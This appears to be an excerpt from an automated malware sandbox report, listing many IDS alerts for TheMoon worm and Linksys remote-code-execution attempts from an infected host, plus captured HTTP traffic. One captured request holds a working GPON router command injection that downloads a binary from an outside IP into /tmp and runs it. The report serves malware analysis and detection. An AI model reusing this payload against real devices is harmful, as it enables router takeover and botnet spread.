Source Port:	36670
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 118.62.235.14

Timestamp:	192.168.2.23118.62.235.145542080802018132 12/21/23-18:41:36.925155
SID:	2018132
Source Port:	55420
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.24.24.135

Timestamp:	192.168.2.23104.24.24.1355136480802018132 12/21/23-18:41:18.928967
SID:	2018132
Source Port:	51364
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 118.36.207.147

Timestamp:	192.168.2.23118.36.207.1473683680802026102 12/21/23-18:41:23.464653
SID:	2026102
Source Port:	36836
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 84.231.177.107

Timestamp:	192.168.2.2384.231.177.1074206080802018132 12/21/23-18:41:44.581069
SID:	2018132
Source Port:	42060
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 185.36.54.3

Timestamp:	192.168.2.23185.36.54.35767680802018132 12/21/23-18:42:46.268253
SID:	2018132
Source Port:	57676
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 118.36.207.147

Timestamp:	192.168.2.23118.36.207.1473683680802027153 12/21/23-18:41:23.464653
SID:	2027153
Source Port:	36836
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 177.191.56.11

Timestamp:	192.168.2.23177.191.56.115103280802018132 12/21/23-18:41:50.882999
SID:	2018132
Source Port:	51032
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 13.229.49.197

Timestamp:	192.168.2.2313.229.49.1974094480802018132 12/21/23-18:42:47.393204
SID:	2018132
Source Port:	40944
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 118.58.31.78

Timestamp:	192.168.2.23118.58.31.784286280802018132 12/21/23-18:41:17.988159
SID:	2018132
Source Port:	42862
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 115.74.135.254

Timestamp:	192.168.2.23115.74.135.2545506280802018132 12/21/23-18:41:10.920310
SID:	2018132
Source Port:	55062
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 177.191.56.11

Timestamp:	192.168.2.23177.191.56.115103280802027153 12/21/23-18:41:50.882999
SID:	2027153
Source Port:	51032
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 177.191.56.11

Timestamp:	192.168.2.23177.191.56.115103280802026102 12/21/23-18:41:50.882999
SID:	2026102
Source Port:	51032
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 185.36.54.3

Timestamp:	192.168.2.23185.36.54.35767680802027153 12/21/23-18:42:46.268253
SID:	2027153
Source Port:	57676
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 96.228.36.80

Timestamp:	192.168.2.2396.228.36.805364680802018132 12/21/23-18:42:19.974779
SID:	2018132
Source Port:	53646
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 118.62.235.14

Timestamp:	192.168.2.23118.62.235.145542080802027153 12/21/23-18:41:36.925155
SID:	2027153
Source Port:	55420
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 69.87.220.246

Timestamp:	192.168.2.2369.87.220.2463506080802026102 12/21/23-18:41:17.814015
SID:	2026102
Source Port:	35060
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 69.87.220.246

Timestamp:	192.168.2.2369.87.220.2463506080802027153 12/21/23-18:41:17.814015
SID:	2027153
Source Port:	35060
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 118.58.31.78

Timestamp:	192.168.2.23118.58.31.784286280802027153 12/21/23-18:41:17.988159
SID:	2027153
Source Port:	42862
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 146.148.249.114

Timestamp:	192.168.2.23146.148.249.1145534480802026102 12/21/23-18:41:27.705727
SID:	2026102
Source Port:	55344
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 45.55.196.121

Timestamp:	192.168.2.2345.55.196.1215668480802018132 12/21/23-18:41:00.108640
SID:	2018132
Source Port:	56684
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.206.34.237

Timestamp:	192.168.2.23104.206.34.2374960080802027153 12/21/23-18:41:17.810451
SID:	2027153
Source Port:	49600
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 146.148.249.114

Timestamp:	192.168.2.23146.148.249.1145534480802027153 12/21/23-18:41:27.705727
SID:	2027153
Source Port:	55344
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 118.36.207.147

Timestamp:	192.168.2.23118.36.207.1473683680802018132 12/21/23-18:41:23.464653
SID:	2018132
Source Port:	36836
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 109.247.109.52

Timestamp:	192.168.2.23109.247.109.524329480802026102 12/21/23-18:41:37.872194
SID:	2026102
Source Port:	43294
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 118.62.235.14

Timestamp:	192.168.2.23118.62.235.145542080802026102 12/21/23-18:41:36.925155
SID:	2026102
Source Port:	55420
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 185.36.54.3

Timestamp:	192.168.2.23185.36.54.35767680802026102 12/21/23-18:42:46.268253
SID:	2026102
Source Port:	57676
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 180.81.166.121

Timestamp:	192.168.2.23180.81.166.1213502080802027153 12/21/23-18:41:17.989761
SID:	2027153
Source Port:	35020
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 104.24.78.255

Timestamp:	192.168.2.23104.24.78.2553654280802018132 12/21/23-18:41:54.092461
SID:	2018132
Source Port:	36542
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 109.247.109.52

Timestamp:	192.168.2.23109.247.109.524329480802027153 12/21/23-18:41:37.872194
SID:	2027153
Source Port:	43294
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 212.21.157.90

Timestamp:	192.168.2.23212.21.157.905989680802018132 12/21/23-18:41:11.082296
SID:	2018132
Source Port:	59896
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 166.253.31.110

Timestamp:	192.168.2.23166.253.31.1105539680802026102 12/21/23-18:42:21.664885
SID:	2026102
Source Port:	55396
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 154.9.60.52

Timestamp:	192.168.2.23154.9.60.524967880802018132 12/21/23-18:42:47.953556
SID:	2018132
Source Port:	49678
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 104.24.24.135

Timestamp:	192.168.2.23104.24.24.1355136480802027153 12/21/23-18:41:18.928967
SID:	2027153
Source Port:	51364
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 180.81.166.121

Timestamp:	192.168.2.23180.81.166.1213502080802026102 12/21/23-18:41:17.989761
SID:	2026102
Source Port:	35020
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.24.24.135

Timestamp:	192.168.2.23104.24.24.1355136480802026102 12/21/23-18:41:18.928967
SID:	2026102
Source Port:	51364
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 166.253.31.110

Timestamp:	192.168.2.23166.253.31.1105539680802027153 12/21/23-18:42:21.664885
SID:	2027153
Source Port:	55396
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 13.229.49.197

Timestamp:	192.168.2.2313.229.49.1974094480802026102 12/21/23-18:42:47.393204
SID:	2026102
Source Port:	40944
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 211.250.133.42

Timestamp:	192.168.2.23211.250.133.424649880802027153 12/21/23-18:41:08.285336
SID:	2027153
Source Port:	46498
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 13.229.49.197

Timestamp:	192.168.2.2313.229.49.1974094480802027153 12/21/23-18:42:47.393204
SID:	2027153
Source Port:	40944
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 203.234.50.155

Timestamp:	192.168.2.23203.234.50.1555502880802027153 12/21/23-18:41:08.603702
SID:	2027153
Source Port:	55028
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 211.250.133.42

Timestamp:	192.168.2.23211.250.133.424649880802026102 12/21/23-18:41:08.285336
SID:	2026102
Source Port:	46498
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 146.70.52.237

Timestamp:	192.168.2.23146.70.52.2374833880802027153 12/21/23-18:40:59.797048
SID:	2027153
Source Port:	48338
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 96.3.116.23

Timestamp:	192.168.2.2396.3.116.233540080802018132 12/21/23-18:42:21.544385
SID:	2018132
Source Port:	35400
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 203.234.50.155

Timestamp:	192.168.2.23203.234.50.1555502880802026102 12/21/23-18:41:08.603702
SID:	2026102
Source Port:	55028
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 96.238.85.27

Timestamp:	192.168.2.2396.238.85.274991280802026102 12/21/23-18:41:18.805007
SID:	2026102
Source Port:	49912
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 73.171.251.123

Timestamp:	192.168.2.2373.171.251.1233788480802026102 12/21/23-18:41:45.423583
SID:	2026102
Source Port:	37884
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 78.108.218.75

Timestamp:	192.168.2.2378.108.218.754297480802026102 12/21/23-18:41:24.286519
SID:	2026102
Source Port:	42974
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.82.250

Timestamp:	192.168.2.23172.65.82.2505411680802018132 12/21/23-18:42:11.595980
SID:	2018132
Source Port:	54116
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 96.238.85.27

Timestamp:	192.168.2.2396.238.85.274991280802027153 12/21/23-18:41:18.805007
SID:	2027153
Source Port:	49912
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 156.96.234.189

Timestamp:	192.168.2.23156.96.234.1893363080802018132 12/21/23-18:41:46.750765
SID:	2018132
Source Port:	33630
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.206.34.237

Timestamp:	192.168.2.23104.206.34.2374960080802026102 12/21/23-18:41:17.810451
SID:	2026102
Source Port:	49600
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 185.172.33.194

Timestamp:	192.168.2.23185.172.33.1943932280802018132 12/21/23-18:41:31.514403
SID:	2018132
Source Port:	39322
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 73.171.251.123

Timestamp:	192.168.2.2373.171.251.1233788480802027153 12/21/23-18:41:45.423583
SID:	2027153
Source Port:	37884
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 146.70.52.237

Timestamp:	192.168.2.23146.70.52.2374833880802026102 12/21/23-18:40:59.797048
SID:	2026102
Source Port:	48338
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

HTTP traffic detected: POST /GponForm/diag_Form?images/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 38 32 2e 31 30 33 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://45.142.182.103/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 17:40:54 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 17:41:08 GMTConnection: Close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 22 Dec 2023 00:31:43 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Chunjs/ServerConnection: closeContent-Type: text/htmlContent-Length: 103Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 32 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 72 65 64 22 3e 2f 75 73 72 2f 73 62 69 6e 2f 77 65 62 2f 77 77 77 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 66 6f 6e 74 3e 20 6e 6f 74 20 66 6f 75 6e 64 20 21 3c 2f 68 32 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h2><font color="red">/usr/sbin/web/www/tmUnblock.cgi</font> not found !</h2></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 17:48:06 GMTConnection: Close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Dec 2023 14:16:17 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlCache-Control: publicPragma: cacheExpires: Thu, 21 Dec 2023 18:12:19 GMTDate: Thu, 21 Dec 2023 17:42:19 GMTLast-Modified: Thu, 21 Dec 2023 17:42:19 GMTAccept-Ranges: bytesConnection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 66 66 66 66 66 66 22 3e 0a 20 20 3c 68 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 68 32 3e 0a 20 20 3c 70 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <title>404 Not Found</title></head><body bgcolor="ffffff"> <h2>404 Not Found<h2> <p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Aug 1970 20:46:29 GMTServer: Web ServerConnection: closeData Raw: 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a Data Ascii: 404 Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 1686Content-Type: text/html; charset=utf-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Thu, 21 Dec 2023 17:42:50 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 